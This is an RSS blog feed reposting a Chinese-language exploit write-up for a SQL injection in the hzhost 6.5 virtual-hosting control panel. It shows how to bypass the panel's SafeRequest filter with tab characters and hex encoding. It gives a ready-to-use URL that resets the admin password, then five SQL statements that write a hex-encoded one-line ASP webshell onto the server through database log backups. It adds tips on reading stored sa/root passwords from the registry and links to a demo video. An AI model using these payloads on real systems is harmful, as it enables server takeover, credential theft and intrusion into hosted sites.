<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[静怡家园]]></title> 
<link>http://www.zhanghaijun.com/index.php</link> 
<description><![CDATA[书山有路勤为径，学海无涯苦作舟！]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[静怡家园]]></copyright>
<item>
<link>http://www.zhanghaijun.com/post//</link>
<title><![CDATA[再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞]]></title> 
<author>碟舞飞扬 &lt;webmaster@zhanghaijun.com&gt;</author>
<category><![CDATA[网海拾贝]]></category>
<pubDate>Fri, 13 Feb 2009 12:18:38 +0000</pubDate> 
<guid>http://www.zhanghaijun.com/post//</guid> 
<description>
<![CDATA[ 
	作者：叉叉兵<br/>这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。<br/>只讲两个要点。<br/>第一，如何拿网站管理员权限。<br/>第二，如何备份木马。<br/>这次不是简单的注射点，而是经过安全函数过滤的了点。由于对方<br/>没有将变量用单引号包起来，而过滤函数又未过滤完全<br/>，导致我们有机会进行注射。<br/>我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。<br/><a href="http://www.xxbing.com/" target="_blank">httP://www.xxbing.com<br/>QQ178737315<br/>漏洞存在于<br/>&#92;hzhost&#92;hzhost_master&#92;control&#92;ot2_mng&#92;ot2_lst.asp<br/></a>文件中！<br/>-------------------------13-15行----------------------------<br/>querytype=SafeRequest("querytype") //saferequest函数接受数据<br/>if chk_int(querytype)=false then //检查是否是整数<br/>ErrMsg="对不起，非法操作！..."<br/>-------------------------37-42行---------------------------<br/>elseif querytype=5 then //如果类型为5。就接受qu1数据！<br/>qu1=trim(SafeRequest("qu1")) //saferequest函数接受数据，他自己定义的saferequest函数！<br/>if qu1="" then //不能为空<br/>call errorpage(-2,"对不起，请选择参数！")<br/>end if<br/>qstring<br/>=" and s_regstt=<br/>"&qu1&" <br/>" //这里是关键 qu1没有用单引号包围，<br/>虽然用了saferequest，但是我们可以绕过！<br/>-------------------------62-65行---------------------------<br/>qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据<br/>if qu7"" then<br/>qstring2<br/>=" and u_nme=<br/>'"&qu7&"'<br/>" //这里被单引号包围了。 这里被包围了，所以这里成了死点！！<br/>end if<br/>--------------------------117行-----------------------------<br/>query="select * from v_ot2lst where (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%') <br/>"&qstring&qstring2&"<br/>order by "&orderstring<br/>//到这里就丢进去查询了！<br/>来看看saferequest()函数。<br/>------------------incs/config.asp中-------------------------<br/>Function SafeRequest(ParaName)<br/>Dim ParaValue<br/>ParaValue=Request(ParaName) //获取数据<br/>if IsNumeric(ParaValue) then //如果是数字<br/>SafeRequest=ParaValue //那就不过滤，直接赋值<br/>exit Function<br/>else<br/>ParaValuetemp=lcase(ParaValue) //如果不是数字，先把接到的数据全部转为小写<br/>tempvalue="select &#124;insert &#124;delete from&#124;'&#124;count(&#124;drop table&#124;update &#124;truncate &#124;asc(&#124;mid(&#124;char(&#124;xp_cmdshell&#124;exec master&#124;net localgroup administrators&#124;net user&#124; or &#124; and &#124;%20from"<br/>//定义要过滤的字符！<br/><br/>他过滤方式有问题。。。没有过滤 * / % / -- / ;<br/>而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。<br/><br/>temps=split(tempvalue,"&#124;") //转为一维数组<br/>for mycount=0 to ubound(temps) //循环读数组内数据<br/>if Instr(ParaValuetemp,temps(mycount)) > 0 then //判断用户提交的数据是否包含了 非法字符。<br/>call errorpage(-2,"非法请求！！！") //如果有则弹出提示！！<br/>response.end<br/>end if<br/>next<br/>SafeRequest=ParaValue<br/>end if<br/>End function<br/>-------------------------------------<br/>所以我们构造注射点的思路就是：不能出现单引号，update,select等等两边都要用%09（tab）..<br/>仔细看清楚。上面过滤的是update+空格。select+空格。<br/>先给出查询语句的框架。<br/>select * from v_ot2lst where (s_unme='username' or u_fatstr like '%,username,%') and s_regstt=&#123;我们的语句&#125; and u_nme='1' order by s_addtme desc<br/>为了使语句顺利执行：<br/>我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他，是因为注释后，实际查询出错了。<br/>这里我给出条示范语句，即&#123;我们的语句&#125;<br/>Update%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 Where u_nme=0x61646D696E<br/>这条语句能够绕过saferequest函数的检测。没有出现单引号。<br/>我们提交：<br/>http://www.xxxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1<br/>;Update%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 Where u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1<br/>这句话就能够将admin的密码修改成123456<br/>到此第一个目的就达到了。如果admin不是超级管理员。那么请看<br/><a href="http://www.t00ls.net/thread-690-1-2.html" target="_blank"><br/>《HZHOST域名虚拟主机管理系统sql注射漏洞》<br/></a><br/>中所提到的方法。相关语句请自己转换。<br/>第二步是要备份挂马。<br/>大家看动画中的备马这么简单，当初难了我老半天。saferequest过滤了<br/>char(<br/>导致备马的这条语句失败。<br/>declare @a sysname,@s var<br/>char(<br/>4000) select @a=db_name(),@s=。。。。。。。。。<br/>有人给我建议改成 @s ntext 等等，换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。<br/>由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000)，也是可以的。这样我们就饶过了char(<br/>接下来放出详细语句。大家放入&#123;我们的语句中&#125;<br/>第 一 步:<br/>create table [dbo].[shit_tmp] ([cmd] [image])--<br/>第 二 步<br/>declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--<br/>第 三 步<br/>insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--<br/>第 四 步<br/>declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--<br/>第 五 步<br/>Drop table [shit_tmp]--<br/>上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。<br/>一般来说，我们就能拿到webshell. 至于拿webshell后，如何取得系统权限。<br/>请看<br/><a href="http://www.t00ls.net/thread-691-1-2.html" target="_blank"><br/>《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用！》<br/></a><br/>最后是答疑部分：<br/>1:这次是get注射，不像上次是post注射。由于没有文本框字符的限制，所以不需要保存网页到本地。<br/>2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后，成为 0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500<br/>这是转为nvarchar型的，我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即：<br/>0x6531306164633339343962613539616262653536653035376632306638383365<br/>大家仔细观察，会发现，其实只是去掉了一些00。。<br/>所以大家在转换其他md5的时候，注意此问题。<br/>3:读sa密码,root密码。我们读的是加密了的。还原必须在本机，每台hzhost主机都有自己的密钥，密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。<br/>另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手，能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。<br/>4:备马的问题，备份成功后，可能出现乱码，是由于截断了的原因，大家用NBSI3。去掉2个截断的勾，再生成语句执行就行了。<br/>有的服务器可能在备马的过程中出现SQL过期，超时。遇到这样的是对方数据库很大，这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。<br/>5：hzhost其实不只这一个注射点，没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。<br/>6：:<br/>sa密码。root密码。<br/>HKEY_LOCAL_MACHINE&#92;software&#92;hzhost&#92;config&#92;settings&#92;<br/>mysqlpass---root密码<br/>mssqlpss----sa密码<br/>7.如果路径不在D:/hzhost<br/>那么就是你人品问题！进后台找找普通用户FTP/web的路径，也许会有些用。<br/>或者去读注册表。<br/>HKEY_LOCAL_MACHINE&#92;software&#92;hzhost&#92;config&#92;settings&#92; 下<br/>"wwwrootpath"="e:&#92;&#92;wwwroot"<br/>"urlsiteroot"="D:&#92;&#92;hzhost&#92;&#92;hzhost_url"<br/>"ftprootpath"="e:&#92;&#92;ftproot" 可以看出什么？ 绝对路径放在注册表中。把注册表中的值更新到某个字段，再去读就行了。（比如用户e-mail中。。）<br/>大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路！<br/>利用动画下载地址（送给菜鸟同学们，能看懂文章的大不必下载，只是把文章的内容完全演示了一遍。）<br/><a href="http://www.namipan.com/d/0e00b699a18020109e6a37cf02a84781ff84fe0ed9b69000" target="_blank"><br/>hzhost最新漏洞.rar<br/></a><br/>饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以，只能放到这里。抱歉啊！！<br/>最后，还是版权。<br/>http://www.xxbing.com<br/>QQ178737315<br/>允许自由转载。但请注明作者。 
]]>
</description>
</item><item>
<link>http://www.zhanghaijun.com/post//#blogcomment</link>
<title><![CDATA[[评论] 再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://www.zhanghaijun.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>